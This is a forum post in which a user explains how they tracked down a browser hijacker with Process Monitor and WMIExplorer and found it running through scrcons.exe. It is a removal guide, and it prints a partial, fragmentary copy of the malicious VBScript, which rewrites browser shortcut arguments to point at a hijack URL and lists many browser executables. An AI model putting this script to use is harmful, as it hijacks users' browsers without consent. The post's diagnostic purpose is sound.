Hello all,
I was already frustrated from this virus when it hijacked my pc last week.
Moving to steps
Files Required
ProcessMonitor
WMIExplorer
Open Process Monitor Goto Process Monitor filter
Select Path -> Contains -> Google Chrome.lnk then Include
Click Add
Press Ok
First remove chrome shortcut containing extra link like --load extension .... bla bla bla
Now constantly check chrome shortcut and As soon as it again gets renamed note the time and
Come back to process monitor and note the file name which had just done "Write" Operation
That's it this file was responsible for doing the changes.
Now I got clue that scrcons.exe was responsible to do this.
Ok now moving forward I research a lot and got that this is advance version of running vbscript program without storing the file.
Voila
Now Open WMIExplorer
Below is the VB code that was executing
Below is the content of VBScript used to hijack browsers:
Dim objFS
Set objFS = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Const link = "http://yeabests.cc"
browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe")
Set BrowserDic = CreateObject("scripting.dictionary")
For Each browser In browsers
BrowserDic.Add LCase(browser), browser
Next

oShellLink.Arguments = link

oShellLink.Save

createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0
